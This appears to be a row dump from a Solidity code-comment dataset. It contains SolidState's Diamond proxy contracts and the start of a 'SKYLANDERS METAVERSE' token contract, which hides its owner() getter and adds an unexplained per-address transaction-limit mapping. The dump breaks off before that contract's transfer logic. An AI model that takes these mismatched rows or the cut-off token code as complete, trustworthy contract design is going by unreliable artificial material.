file_name
stringlengths
71
779k
comments
stringlengths
0
29.4k
code_string
stringlengths
20
7.69M
__index_level_0__
int64
2
17.2M
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import '@solidstate/contracts/proxy/diamond/Diamond.sol'; import '@solidstate/contracts/token/ERC20/metadata/ERC20MetadataStorage.sol'; contract MagicProxy is Diamond { constructor() { ERC20MetadataStorage.Layout storage l = ERC20MetadataStorage.layout(); l.name = 'MAGIC'; l.symbol = 'MAGIC'; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import {SafeOwnable, OwnableStorage, Ownable} from '../../access/SafeOwnable.sol'; import {IERC173} from '../../access/IERC173.sol'; import {ERC165, IERC165, ERC165Storage} from '../../introspection/ERC165.sol'; import {DiamondBase, DiamondBaseStorage} from './DiamondBase.sol'; import {DiamondCuttable, IDiamondCuttable} from './DiamondCuttable.sol'; import {DiamondLoupe, IDiamondLoupe} from './DiamondLoupe.sol'; /** * @notice SolidState "Diamond" proxy reference implementation */ abstract contract Diamond is DiamondBase, DiamondCuttable, DiamondLoupe, SafeOwnable, ERC165 { using DiamondBaseStorage for DiamondBaseStorage.Layout; using ERC165Storage for ERC165Storage.Layout; using OwnableStorage for OwnableStorage.Layout; constructor () { ERC165Storage.Layout storage erc165 = ERC165Storage.layout(); bytes4[] memory selectors = new bytes4[](12); // register DiamondCuttable selectors[0] = IDiamondCuttable.diamondCut.selector; erc165.setSupportedInterface(type(IDiamondCuttable).interfaceId, true); // register DiamondLoupe selectors[1] = IDiamondLoupe.facets.selector; selectors[2] = IDiamondLoupe.facetFunctionSelectors.selector; selectors[3] = IDiamondLoupe.facetAddresses.selector; selectors[4] = IDiamondLoupe.facetAddress.selector; erc165.setSupportedInterface(type(IDiamondLoupe).interfaceId, true); // register ERC165 selectors[5] = IERC165.supportsInterface.selector; erc165.setSupportedInterface(type(IERC165).interfaceId, true); // register SafeOwnable selectors[6] = Ownable.owner.selector; selectors[7] = SafeOwnable.nomineeOwner.selector; selectors[8] = SafeOwnable.transferOwnership.selector; selectors[9] = SafeOwnable.acceptOwnership.selector; erc165.setSupportedInterface(type(IERC173).interfaceId, true); // register Diamond selectors[10] = Diamond.getFallbackAddress.selector; selectors[11] = Diamond.setFallbackAddress.selector; // diamond cut FacetCut[] memory facetCuts = new FacetCut[](1); facetCuts[0] = FacetCut({ target: address(this), action: IDiamondCuttable.FacetCutAction.ADD, selectors: selectors }); DiamondBaseStorage.layout().diamondCut(facetCuts, address(0), ''); // set owner OwnableStorage.layout().setOwner(msg.sender); } receive () external payable {} /** * @notice get the address of the fallback contract * @return fallback address */ function getFallbackAddress () external view returns (address) { return DiamondBaseStorage.layout().fallbackAddress; } /** * @notice set the address of the fallback contract * @param fallbackAddress fallback address */ function setFallbackAddress ( address fallbackAddress ) external onlyOwner { DiamondBaseStorage.layout().fallbackAddress = fallbackAddress; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; library ERC20MetadataStorage { struct Layout { string name; string symbol; uint8 decimals; } bytes32 internal constant STORAGE_SLOT = keccak256( 'solidstate.contracts.storage.ERC20Metadata' ); function layout () internal pure returns (Layout storage l) { bytes32 slot = STORAGE_SLOT; assembly { l.slot := slot } } function setName ( Layout storage l, string memory name ) internal { l.name = name; } function setSymbol ( Layout storage l, string memory symbol ) internal { l.symbol = symbol; } function setDecimals ( Layout storage l, uint8 decimals ) internal { l.decimals = decimals; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import {Ownable, OwnableStorage} from './Ownable.sol'; import {SafeOwnableInternal} from './SafeOwnableInternal.sol'; import {SafeOwnableStorage} from './SafeOwnableStorage.sol'; /** * @title Ownership access control based on ERC173 with ownership transfer safety check */ abstract contract SafeOwnable is Ownable, SafeOwnableInternal { using OwnableStorage for OwnableStorage.Layout; using SafeOwnableStorage for SafeOwnableStorage.Layout; function nomineeOwner () virtual public view returns (address) { return SafeOwnableStorage.layout().nomineeOwner; } /** * @inheritdoc Ownable * @dev ownership transfer must be accepted by beneficiary before transfer is complete */ function transferOwnership ( address account ) virtual override public onlyOwner { SafeOwnableStorage.layout().setNomineeOwner(account); } /** * @notice accept transfer of contract ownership */ function acceptOwnership () virtual public onlyNomineeOwner { OwnableStorage.Layout storage l = OwnableStorage.layout(); emit OwnershipTransferred(l.owner, msg.sender); l.setOwner(msg.sender); SafeOwnableStorage.layout().setNomineeOwner(address(0)); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title Contract ownership standard interface * @dev see https://eips.ethereum.org/EIPS/eip-173 */ interface IERC173 { event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @notice get the ERC173 contract owner * @return conract owner */ function owner () external view returns (address); /** * @notice transfer contract ownership to new account * @param account address of new owner */ function transferOwnership (address account) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import {IERC165} from './IERC165.sol'; import {ERC165Storage} from './ERC165Storage.sol'; /** * @title ERC165 implementation */ abstract contract ERC165 is IERC165 { using ERC165Storage for ERC165Storage.Layout; /** * @inheritdoc IERC165 */ function supportsInterface (bytes4 interfaceId) override public view returns (bool) { return ERC165Storage.layout().isSupportedInterface(interfaceId); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import {Proxy} from '../Proxy.sol'; import {DiamondBaseStorage} from './DiamondBaseStorage.sol'; import {IDiamondLoupe} from './IDiamondLoupe.sol'; import {IDiamondCuttable} from './IDiamondCuttable.sol'; /** * @title EIP-2535 "Diamond" proxy base contract * @dev see https://eips.ethereum.org/EIPS/eip-2535 */ abstract contract DiamondBase is Proxy { /** * @inheritdoc Proxy */ function _getImplementation () override internal view returns (address) { // inline storage layout retrieval uses less gas DiamondBaseStorage.Layout storage l; bytes32 slot = DiamondBaseStorage.STORAGE_SLOT; assembly { l.slot := slot } address implementation = address(bytes20(l.facets[msg.sig])); if (implementation == address(0)) { implementation = l.fallbackAddress; require( implementation != address(0), 'DiamondBase: no facet found for function signature' ); } return implementation; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import {OwnableInternal} from '../../access/OwnableInternal.sol'; import {IDiamondCuttable} from './IDiamondCuttable.sol'; import {DiamondBaseStorage} from './DiamondBaseStorage.sol'; /** * @title EIP-2535 "Diamond" proxy update contract */ abstract contract DiamondCuttable is IDiamondCuttable, OwnableInternal { using DiamondBaseStorage for DiamondBaseStorage.Layout; /** * @notice update functions callable on Diamond proxy * @param facetCuts array of structured Diamond facet update data * @param target optional recipient of initialization delegatecall * @param data optional initialization call data */ function diamondCut ( FacetCut[] calldata facetCuts, address target, bytes calldata data ) external override onlyOwner { DiamondBaseStorage.layout().diamondCut(facetCuts, target, data); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import {DiamondBaseStorage} from './DiamondBaseStorage.sol'; import {IDiamondLoupe} from './IDiamondLoupe.sol'; /** * @title EIP-2535 "Diamond" proxy introspection contract * @dev derived from https://github.com/mudgen/diamond-2 (MIT license) */ abstract contract DiamondLoupe is IDiamondLoupe { /** * @inheritdoc IDiamondLoupe */ function facets () external override view returns (Facet[] memory diamondFacets) { DiamondBaseStorage.Layout storage l = DiamondBaseStorage.layout(); diamondFacets = new Facet[](l.selectorCount); uint8[] memory numFacetSelectors = new uint8[](l.selectorCount); uint256 numFacets; uint256 selectorIndex; // loop through function selectors for (uint256 slotIndex; selectorIndex < l.selectorCount; slotIndex++) { bytes32 slot = l.selectorSlots[slotIndex]; for (uint256 selectorSlotIndex; selectorSlotIndex < 8; selectorSlotIndex++) { selectorIndex++; if (selectorIndex > l.selectorCount) { break; } bytes4 selector = bytes4(slot << (selectorSlotIndex << 5)); address facet = address(bytes20(l.facets[selector])); bool continueLoop; for (uint256 facetIndex; facetIndex < numFacets; facetIndex++) { if (diamondFacets[facetIndex].target == facet) { diamondFacets[facetIndex].selectors[numFacetSelectors[facetIndex]] = selector; // probably will never have more than 256 functions from one facet contract require(numFacetSelectors[facetIndex] < 255); numFacetSelectors[facetIndex]++; continueLoop = true; break; } } if (continueLoop) { continue; } diamondFacets[numFacets].target = facet; diamondFacets[numFacets].selectors = new bytes4[](l.selectorCount); diamondFacets[numFacets].selectors[0] = selector; numFacetSelectors[numFacets] = 1; numFacets++; } } for (uint256 facetIndex; facetIndex < numFacets; facetIndex++) { uint256 numSelectors = numFacetSelectors[facetIndex]; bytes4[] memory selectors = diamondFacets[facetIndex].selectors; // setting the number of selectors assembly { mstore(selectors, numSelectors) } } // setting the number of facets assembly { mstore(diamondFacets, numFacets) } } /** * @inheritdoc IDiamondLoupe */ function facetFunctionSelectors ( address facet ) external override view returns (bytes4[] memory selectors) { DiamondBaseStorage.Layout storage l = DiamondBaseStorage.layout(); selectors = new bytes4[](l.selectorCount); uint256 numSelectors; uint256 selectorIndex; // loop through function selectors for (uint256 slotIndex; selectorIndex < l.selectorCount; slotIndex++) { bytes32 slot = l.selectorSlots[slotIndex]; for (uint256 selectorSlotIndex; selectorSlotIndex < 8; selectorSlotIndex++) { selectorIndex++; if (selectorIndex > l.selectorCount) { break; } bytes4 selector = bytes4(slot << (selectorSlotIndex << 5)); if (facet == address(bytes20(l.facets[selector]))) { selectors[numSelectors] = selector; numSelectors++; } } } // set the number of selectors in the array assembly { mstore(selectors, numSelectors) } } /** * @inheritdoc IDiamondLoupe */ function facetAddresses () external override view returns (address[] memory addresses) { DiamondBaseStorage.Layout storage l = DiamondBaseStorage.layout(); addresses = new address[](l.selectorCount); uint256 numFacets; uint256 selectorIndex; for (uint256 slotIndex; selectorIndex < l.selectorCount; slotIndex++) { bytes32 slot = l.selectorSlots[slotIndex]; for (uint256 selectorSlotIndex; selectorSlotIndex < 8; selectorSlotIndex++) { selectorIndex++; if (selectorIndex > l.selectorCount) { break; } bytes4 selector = bytes4(slot << (selectorSlotIndex << 5)); address facet = address(bytes20(l.facets[selector])); bool continueLoop; for (uint256 facetIndex; facetIndex < numFacets; facetIndex++) { if (facet == addresses[facetIndex]) { continueLoop = true; break; } } if (continueLoop) { continue; } addresses[numFacets] = facet; numFacets++; } } // set the number of facet addresses in the array assembly { mstore(addresses, numFacets) } } /** * @inheritdoc IDiamondLoupe */ function facetAddress ( bytes4 selector ) external override view returns (address facet) { facet = address(bytes20( DiamondBaseStorage.layout().facets[selector] )); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import {IERC173} from './IERC173.sol'; import {OwnableInternal} from './OwnableInternal.sol'; import {OwnableStorage} from './OwnableStorage.sol'; /** * @title Ownership access control based on ERC173 */ abstract contract Ownable is IERC173, OwnableInternal { using OwnableStorage for OwnableStorage.Layout; /** * @inheritdoc IERC173 */ function owner () virtual override public view returns (address) { return OwnableStorage.layout().owner; } /** * @inheritdoc IERC173 */ function transferOwnership ( address account ) virtual override public onlyOwner { OwnableStorage.layout().setOwner(account); emit OwnershipTransferred(msg.sender, account); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import {SafeOwnableStorage} from './SafeOwnableStorage.sol'; abstract contract SafeOwnableInternal { using SafeOwnableStorage for SafeOwnableStorage.Layout; modifier onlyNomineeOwner () { require( msg.sender == SafeOwnableStorage.layout().nomineeOwner, 'SafeOwnable: sender must be nominee owner' ); _; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; library SafeOwnableStorage { struct Layout { address nomineeOwner; } bytes32 internal constant STORAGE_SLOT = keccak256( 'solidstate.contracts.storage.SafeOwnable' ); function layout () internal pure returns (Layout storage l) { bytes32 slot = STORAGE_SLOT; assembly { l.slot := slot } } function setNomineeOwner ( Layout storage l, address nomineeOwner ) internal { l.nomineeOwner = nomineeOwner; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import {OwnableStorage} from './OwnableStorage.sol'; abstract contract OwnableInternal { using OwnableStorage for OwnableStorage.Layout; modifier onlyOwner { require( msg.sender == OwnableStorage.layout().owner, 'Ownable: sender must be owner' ); _; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; library OwnableStorage { struct Layout { address owner; } bytes32 internal constant STORAGE_SLOT = keccak256( 'solidstate.contracts.storage.Ownable' ); function layout () internal pure returns (Layout storage l) { bytes32 slot = STORAGE_SLOT; assembly { l.slot := slot } } function setOwner ( Layout storage l, address owner ) internal { l.owner = owner; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title ERC165 interface registration interface * @dev see https://eips.ethereum.org/EIPS/eip-165 */ interface IERC165 { /** * @notice query whether contract has registered support for given interface * @param interfaceId interface id * @return bool whether interface is supported */ function supportsInterface ( bytes4 interfaceId ) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; library ERC165Storage { struct Layout { // TODO: use EnumerableSet to allow post-diamond-cut auditing mapping (bytes4 => bool) supportedInterfaces; } bytes32 internal constant STORAGE_SLOT = keccak256( 'solidstate.contracts.storage.ERC165' ); function layout () internal pure returns (Layout storage l) { bytes32 slot = STORAGE_SLOT; assembly { l.slot := slot } } function isSupportedInterface ( Layout storage l, bytes4 interfaceId ) internal view returns (bool) { return l.supportedInterfaces[interfaceId]; } function setSupportedInterface ( Layout storage l, bytes4 interfaceId, bool status ) internal { require(interfaceId != 0xffffffff, 'ERC165: invalid interface id'); l.supportedInterfaces[interfaceId] = status; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import {AddressUtils} from '../utils/AddressUtils.sol'; /** * @title Base proxy contract */ abstract contract Proxy { using AddressUtils for address; /** * @notice delegate all calls to implementation contract * @dev reverts if implementation address contains no code, for compatibility with metamorphic contracts * @dev memory location in use by assembly may be unsafe in other contexts */ fallback () virtual external payable { address implementation = _getImplementation(); require( implementation.isContract(), 'Proxy: implementation must be contract' ); assembly { calldatacopy(0, 0, calldatasize()) let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) returndatacopy(0, 0, returndatasize()) switch result case 0 { revert(0, returndatasize()) } default { return (0, returndatasize()) } } } /** * @notice get logic implementation address * @return implementation address */ function _getImplementation () virtual internal returns (address); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import {AddressUtils} from '../../utils/AddressUtils.sol'; import {IDiamondCuttable} from './IDiamondCuttable.sol'; /** * @dev derived from https://github.com/mudgen/diamond-2 (MIT license) */ library DiamondBaseStorage { using AddressUtils for address; using DiamondBaseStorage for DiamondBaseStorage.Layout; struct Layout { // function selector => (facet address, selector slot position) mapping (bytes4 => bytes32) facets; // total number of selectors registered uint16 selectorCount; // array of selector slots with 8 selectors per slot mapping (uint256 => bytes32) selectorSlots; address fallbackAddress; } bytes32 constant CLEAR_ADDRESS_MASK = bytes32(uint256(0xffffffffffffffffffffffff)); bytes32 constant CLEAR_SELECTOR_MASK = bytes32(uint256(0xffffffff << 224)); bytes32 internal constant STORAGE_SLOT = keccak256( 'solidstate.contracts.storage.DiamondBase' ); event DiamondCut (IDiamondCuttable.FacetCut[] facetCuts, address target, bytes data); function layout () internal pure returns (Layout storage l) { bytes32 slot = STORAGE_SLOT; assembly { l.slot := slot } } /** * @notice update functions callable on Diamond proxy * @param l storage layout * @param facetCuts array of structured Diamond facet update data * @param target optional recipient of initialization delegatecall * @param data optional initialization call data */ function diamondCut( Layout storage l, IDiamondCuttable.FacetCut[] memory facetCuts, address target, bytes memory data ) internal { unchecked { uint256 originalSelectorCount = l.selectorCount; uint256 selectorCount = originalSelectorCount; bytes32 selectorSlot; // Check if last selector slot is not full if (selectorCount & 7 > 0) { // get last selectorSlot selectorSlot = l.selectorSlots[selectorCount >> 3]; } for (uint256 i; i < facetCuts.length; i++) { IDiamondCuttable.FacetCut memory facetCut = facetCuts[i]; IDiamondCuttable.FacetCutAction action = facetCut.action; require( facetCut.selectors.length > 0, 'DiamondBase: no selectors specified' ); if (action == IDiamondCuttable.FacetCutAction.ADD) { (selectorCount, selectorSlot) = l.addFacetSelectors( selectorCount, selectorSlot, facetCut ); } else if (action == IDiamondCuttable.FacetCutAction.REMOVE) { (selectorCount, selectorSlot) = l.removeFacetSelectors( selectorCount, selectorSlot, facetCut ); } else if (action == IDiamondCuttable.FacetCutAction.REPLACE) { l.replaceFacetSelectors(facetCut); } } if (selectorCount != originalSelectorCount) { l.selectorCount = uint16(selectorCount); } // If last selector slot is not full if (selectorCount & 7 > 0) { l.selectorSlots[selectorCount >> 3] = selectorSlot; } emit DiamondCut(facetCuts, target, data); initialize(target, data); } } function addFacetSelectors ( Layout storage l, uint256 selectorCount, bytes32 selectorSlot, IDiamondCuttable.FacetCut memory facetCut ) internal returns (uint256, bytes32) { unchecked { require( facetCut.target == address(this) || facetCut.target.isContract(), 'DiamondBase: ADD target has no code' ); for (uint256 i; i < facetCut.selectors.length; i++) { bytes4 selector = facetCut.selectors[i]; bytes32 oldFacet = l.facets[selector]; require( address(bytes20(oldFacet)) == address(0), 'DiamondBase: selector already added' ); // add facet for selector l.facets[selector] = bytes20(facetCut.target) | bytes32(selectorCount); uint256 selectorInSlotPosition = (selectorCount & 7) << 5; // clear selector position in slot and add selector selectorSlot = ( selectorSlot & ~(CLEAR_SELECTOR_MASK >> selectorInSlotPosition) ) | (bytes32(selector) >> selectorInSlotPosition); // if slot is full then write it to storage if (selectorInSlotPosition == 224) { l.selectorSlots[selectorCount >> 3] = selectorSlot; selectorSlot = 0; } selectorCount++; } return (selectorCount, selectorSlot); } } function removeFacetSelectors ( Layout storage l, uint256 selectorCount, bytes32 selectorSlot, IDiamondCuttable.FacetCut memory facetCut ) internal returns (uint256, bytes32) { unchecked { require( facetCut.target == address(0), 'DiamondBase: REMOVE target must be zero address' ); uint256 selectorSlotCount = selectorCount >> 3; uint256 selectorInSlotIndex = selectorCount & 7; for (uint256 i; i < facetCut.selectors.length; i++) { bytes4 selector = facetCut.selectors[i]; bytes32 oldFacet = l.facets[selector]; require( address(bytes20(oldFacet)) != address(0), 'DiamondBase: selector not found' ); require( address(bytes20(oldFacet)) != address(this), 'DiamondBase: selector is immutable' ); if (selectorSlot == 0) { selectorSlotCount--; selectorSlot = l.selectorSlots[selectorSlotCount]; selectorInSlotIndex = 7; } else { selectorInSlotIndex--; } bytes4 lastSelector; uint256 oldSelectorsSlotCount; uint256 oldSelectorInSlotPosition; // adding a block here prevents stack too deep error { // replace selector with last selector in l.facets lastSelector = bytes4(selectorSlot << (selectorInSlotIndex << 5)); if (lastSelector != selector) { // update last selector slot position info l.facets[lastSelector] = ( oldFacet & CLEAR_ADDRESS_MASK ) | bytes20(l.facets[lastSelector]); } delete l.facets[selector]; uint256 oldSelectorCount = uint16(uint256(oldFacet)); oldSelectorsSlotCount = oldSelectorCount >> 3; oldSelectorInSlotPosition = (oldSelectorCount & 7) << 5; } if (oldSelectorsSlotCount != selectorSlotCount) { bytes32 oldSelectorSlot = l.selectorSlots[oldSelectorsSlotCount]; // clears the selector we are deleting and puts the last selector in its place. oldSelectorSlot = ( oldSelectorSlot & ~(CLEAR_SELECTOR_MASK >> oldSelectorInSlotPosition) ) | (bytes32(lastSelector) >> oldSelectorInSlotPosition); // update storage with the modified slot l.selectorSlots[oldSelectorsSlotCount] = oldSelectorSlot; } else { // clears the selector we are deleting and puts the last selector in its place. selectorSlot = ( selectorSlot & ~(CLEAR_SELECTOR_MASK >> oldSelectorInSlotPosition) ) | (bytes32(lastSelector) >> oldSelectorInSlotPosition); } if (selectorInSlotIndex == 0) { delete l.selectorSlots[selectorSlotCount]; selectorSlot = 0; } } selectorCount = (selectorSlotCount << 3) | selectorInSlotIndex; return (selectorCount, selectorSlot); } } function replaceFacetSelectors ( Layout storage l, IDiamondCuttable.FacetCut memory facetCut ) internal { unchecked { require( facetCut.target.isContract(), 'DiamondBase: REPLACE target has no code' ); for (uint256 i; i < facetCut.selectors.length; i++) { bytes4 selector = facetCut.selectors[i]; bytes32 oldFacet = l.facets[selector]; address oldFacetAddress = address(bytes20(oldFacet)); require( oldFacetAddress != address(0), 'DiamondBase: selector not found' ); require( oldFacetAddress != address(this), 'DiamondBase: selector is immutable' ); require( oldFacetAddress != facetCut.target, 'DiamondBase: REPLACE target is identical' ); // replace old facet address l.facets[selector] = (oldFacet & CLEAR_ADDRESS_MASK) | bytes20(facetCut.target); } } } function initialize ( address target, bytes memory data ) private { require( (target == address(0)) == (data.length == 0), 'DiamondBase: invalid initialization parameters' ); if (target != address(0)) { if (target != address(this)) { require( target.isContract(), 'DiamondBase: initialization target has no code' ); } (bool success, ) = target.delegatecall(data); if (!success) { assembly { returndatacopy(0, 0, returndatasize()) revert(0, returndatasize()) } } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title Diamond proxy introspection interface * @dev see https://eips.ethereum.org/EIPS/eip-2535 */ interface IDiamondLoupe { struct Facet { address target; bytes4[] selectors; } /** * @notice get all facets and their selectors * @return diamondFacets array of structured facet data */ function facets () external view returns (Facet[] memory diamondFacets); /** * @notice get all selectors for given facet address * @param facet address of facet to query * @return selectors array of function selectors */ function facetFunctionSelectors ( address facet ) external view returns (bytes4[] memory selectors); /** * @notice get addresses of all facets used by diamond * @return addresses array of facet addresses */ function facetAddresses () external view returns (address[] memory addresses); /** * @notice get the address of the facet associated with given selector * @param selector function selector to query * @return facet facet address (zero address if not found) */ function facetAddress ( bytes4 selector ) external view returns (address facet); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title Diamond proxy upgrade interface * @dev see https://eips.ethereum.org/EIPS/eip-2535 */ interface IDiamondCuttable { enum FacetCutAction { ADD, REPLACE, REMOVE } event DiamondCut (FacetCut[] facetCuts, address target, bytes data); struct FacetCut { address target; FacetCutAction action; bytes4[] selectors; } /** * @notice update diamond facets and optionally execute arbitrary initialization function * @param facetCuts facet addresses, actions, and function selectors * @param target initialization function target * @param data initialization function call data */ function diamondCut ( FacetCut[] calldata facetCuts, address target, bytes calldata data ) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; library AddressUtils { function toString (address account) internal pure returns (string memory) { bytes32 value = bytes32(uint256(uint160(account))); bytes memory alphabet = '0123456789abcdef'; bytes memory chars = new bytes(42); chars[0] = '0'; chars[1] = 'x'; for (uint256 i = 0; i < 20; i++) { chars[2 + i * 2] = alphabet[uint8(value[i + 12] >> 4)]; chars[3 + i * 2] = alphabet[uint8(value[i + 12] & 0x0f)]; } return string(chars); } function isContract (address account) internal view returns (bool) { uint size; assembly { size := extcodesize(account) } return size > 0; } function sendValue (address payable account, uint amount) internal { (bool success, ) = account.call{ value: amount }(''); require(success, 'AddressUtils: failed to send value'); } function functionCall (address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, 'AddressUtils: failed low-level call'); } function functionCall (address target, bytes memory data, string memory error) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, error); } function functionCallWithValue (address target, bytes memory data, uint value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, 'AddressUtils: failed low-level call with value'); } function functionCallWithValue (address target, bytes memory data, uint value, string memory error) internal returns (bytes memory) { require(address(this).balance >= value, 'AddressUtils: insufficient balance for call'); return _functionCallWithValue(target, data, value, error); } function _functionCallWithValue (address target, bytes memory data, uint value, string memory error) private returns (bytes memory) { require(isContract(target), 'AddressUtils: function call to non-contract'); (bool success, bytes memory returnData) = target.call{ value: value }(data); if (success) { return returnData; } else if (returnData.length > 0) { assembly { let returnData_size := mload(returnData) revert(add(32, returnData), returnData_size) } } else { revert(error); } } }
accept transfer of contract ownership/
function acceptOwnership () virtual public onlyNomineeOwner { OwnableStorage.Layout storage l = OwnableStorage.layout(); emit OwnershipTransferred(l.owner, msg.sender); l.setOwner(msg.sender); SafeOwnableStorage.layout().setNomineeOwner(address(0)); }
287,443
/** *Submitted for verification at Etherscan.io on 2022-04-12 */ /** SKYLANDERS METAVERSE! */ // SPDX-License-Identifier: MIT pragma solidity 0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() internal view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transacgtion ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } contract ERC20 is Ownable, IERC20, IERC20Metadata { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; mapping (address => uint256) internal _maxTxAmount; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See 